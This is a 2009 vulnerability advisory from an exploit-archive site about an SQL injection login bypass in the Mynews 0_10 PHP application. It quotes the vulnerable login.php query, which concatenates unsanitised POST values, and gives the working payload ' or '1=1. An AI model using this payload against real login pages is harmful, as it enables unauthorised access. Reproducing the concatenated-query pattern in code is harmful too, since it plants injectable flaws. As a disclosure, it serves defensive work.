Mynews 0_10 (Auth Bypass) SQL Injection Vulnerability

2009.02.28
Credit: x0r
Risk: High
Local: No
Remote: Yes
CWE: CWE-89


CVSS Base Score: 7.5/10
Impact Subscore: 6.4/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

######################################################################################### [0x01] Informations: Name : Mynews 0_10 Download : http://prdownloads.sourceforge.net/mynews/mynews_beta_0_10.zip?download Vulnerability : Auth Bypass Author : x0r Contact : andry2000@hotmail.it Notes : Proud to be Italian ######################################################################################### [0x02] Bug: Bugged file is /[path]/login.php [Code] if ( $request == "POST" ) { $username = $_POST['username']; $passwd = $_POST['passwd']; // Call mysql class $db = new db; $db->info['sql_host'] = $conf['sql_host']; $db->info['sql_user'] = $conf['sql_user']; $db->info['sql_pass'] = $conf['sql_pass']; $db->info['sql_db'] = $conf['sql_db']; $db->connect(); $sql = "SELECT * FROM users WHERE username='$username' && password='$passwd' "; $check_query = $db->query($sql); $row = mysql_numrows($check_query); [/code] ######################################################################################### [0x03] Exploit: Exploit: ' or '1=1 ########################################################################################


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top